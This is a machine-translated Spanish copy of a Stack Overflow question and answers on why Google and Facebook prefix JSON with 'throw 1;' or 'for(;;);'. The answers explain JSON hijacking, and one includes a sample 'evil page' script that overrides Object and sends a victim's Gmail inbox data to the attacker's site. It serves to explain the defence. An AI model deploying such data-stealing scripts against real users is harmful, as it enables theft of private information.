¿Por qué la gente pone código como " throw 1; "y" for (;;); " delante de las respuestas json? [duplicar]


Posible Duplicado:
¿Por qué Google antepone while(1); a sus respuestas JSON?

Google devuelve json así:

throw 1; <dont be evil> { foo: bar}

Y Facebooks ajax tiene json como este:

for(;;); {"error":0,"errorSummary": ""}
  • ¿Por qué ponen código que se detendría ejecución y hace inválido json?
  • ¿Cómo lo analizan si no es válido y se estrellaría si intentaras evaluar ¿eso?
  • ¿se acaba de quitar de la cadena (parece caro)?
  • ¿Hay alguna ventaja de seguridad para ¿esto?

En respuesta a que es por motivos de seguridad:

Si el scraper está en otro dominio, tendrían que usar una etiqueta script para obtener los datos porque XHR no funcionará entre dominios. Incluso sin el for(;;); ¿cómo obtendría el atacante los datos? No está asignado a una variable, así que ¿no sería simplemente basura recolectada porque no hay referencias a ella?

Básicamente para obtener los datos de dominio cruzado que tendría que hacer

<script src="http://target.com/json.js"></script>

Pero incluso sin el script de bloqueo antepuesto, el atacante no puede usar ninguno de los datos Json sin asignarlos a una variable a la que pueda acceder globalmente (no lo es en estos casos). El código de bloqueo efectivamente no hace nada porque incluso sin él tienen que usar scripts del lado del servidor para usar los datos en su sitio.

Author: User that is not a user, 2010-06-30

4 answers

Incluso sin el for(;;); ¿cómo obtendría el atacante los datos?

Los ataques se basan en alterar el comportamiento de los tipos incorporados, en particular Object y Array, alterando su función constructora o su prototype. Luego, cuando el JSON objetivo usa una construcción {...} o [...], serán las propias versiones del atacante de esos objetos, con un comportamiento potencialmente inesperado.

Por ejemplo, puede hackear una propiedad setter en Object, que traicionaría la valores escritos en literales de objeto:

Object.prototype.__defineSetter__('x', function(x) {
    alert('Ha! I steal '+x);
});

Entonces cuando un <script> se señaló a algún JSON que usó ese nombre de propiedad:

{"x": "hello"}

El valor "hello" fugas.

La forma en que los literales de matriz y objeto hacen que se llame a los setters es controvertida. Firefox eliminó el comportamiento en la versión 3.5, en respuesta a los ataques publicitados en sitios web de alto perfil. Sin embargo, en el momento de escribir esto Safari (4) y Chrome (5) todavía son vulnerables a esto.

Otro el ataque que todos los navegadores ahora no permiten fue redefinir las funciones del constructor:

Array= function() {
    alert('I steal '+this);
};

[1, 2, 3]

Y por ahora, la implementación de propiedades de IE8 (basada en el estándar ECMAScript Fifth Edition y Object.defineProperty) actualmente no funciona en Object.prototype o Array.prototype.

Pero además de proteger navegadores anteriores, puede ser que las extensiones de JavaScript causen más fugas potenciales de un tipo similar en el futuro, y en ese caso chaff también debería proteger contra ellas.

 180
Author: bobince,
Warning: date(): Invalid date.timezone value 'Europe/Kyiv', we selected the timezone 'UTC' for now. in /var/www/agent_stack/data/www/ajaxhispano.com/template/agent.layouts/content.php on line 61
2010-06-30 09:07:59

Considera que, después de revisar tu cuenta de GMail, vas a visitar mi página malvada:

<script type="text/javascript">
Object = function() {
  ajaxRequestToMyEvilSite(JSON.serialize(this));
}
</script>
<script type="text/javascript" src="http://gmail.com/inbox/listMessage"></script>

Lo que sucederá ahora es que el código Javascript que viene de Google, que el preguntador pensó que sería benigno e inmediatamente caería fuera de alcance, en realidad se publicará en mi sitio malvado. Supongamos que la URL solicitada en la etiqueta de script envía (debido a que su navegador presentará la cookie adecuada, Google pensará correctamente que ha iniciado sesión en su bandeja de entrada):

({
  messages: [
    {
      id: 1,
      subject: 'Super confidential information',
      message: 'Please keep this to yourself: the password is 42'
    },{
      id: 2,
      subject: 'Who stole your password?',
      message: 'Someone knows your password! I told you to keep this information to yourself! And by this information I mean: the password is 42'
    }
  ]
})

Ahora, Publicaré una versión serializada de este objeto en mi malvado servidor. ¡Gracias!

La forma de evitar que esto suceda es procesar sus respuestas JSON y decruft ellos cuando usted, desde el mismo dominio, puede manipular esos datos. Si te gusta esta respuesta, por favor acepta la publicada por bobince.

 55
Author: Jesse Dhillon,
Warning: date(): Invalid date.timezone value 'Europe/Kyiv', we selected the timezone 'UTC' for now. in /var/www/agent_stack/data/www/ajaxhispano.com/template/agent.layouts/content.php on line 61
2010-07-17 05:31:22

EDITAR

Estas cadenas se conocen comúnmente como un "cruft imperceptible" y se utilizan para parchear una vulnerabilidad de fuga de información que afecta a la especificación JSON. Este ataque es del mundo real y una vulnerabilidad en gmail fue descubierta por Jeremiah Grossman. Mozilla también cree que esto es una vulnerabilidad en la especificación JSON y ha sido parcheado en Firefox 3. Sin embargo, debido a que este problema aún afecta a otros navegadores, esto se requiere" unparseable cruft " porque es un parche compatible.

La respuesta de Bobice tiene una explicación técnica de este ataque y es correcta.

 23
Author: rook,
Warning: date(): Invalid date.timezone value 'Europe/Kyiv', we selected the timezone 'UTC' for now. in /var/www/agent_stack/data/www/ajaxhispano.com/template/agent.layouts/content.php on line 61
2016-02-19 02:26:43

¿Cómo analizar si es válido y podría bloquearse si se trató de eval ¿eso?

Es una característica que se bloquearía si intentaras eval. eval permite código JavaScript arbitrario, que podría ser utilizado para un ataque de scripting entre sitios.

¿Simplemente lo eliminan de la cadena (parece caro)?

Me lo imagino. Probablemente algo como:

function parseJson(json) {
   json = json.replace("throw 1; <dont be evil>", "");
   if (/* regex to validate the JSON */) {
       return eval(json);
   } else {
       throw "XSS";
   }
}

El cruft "don't be evil" evita que los desarrolladores utilicen eval directamente en lugar de una alternativa más segura.

 5
Author: dan04,
Warning: date(): Invalid date.timezone value 'Europe/Kyiv', we selected the timezone 'UTC' for now. in /var/www/agent_stack/data/www/ajaxhispano.com/template/agent.layouts/content.php on line 61
2010-06-30 06:12:43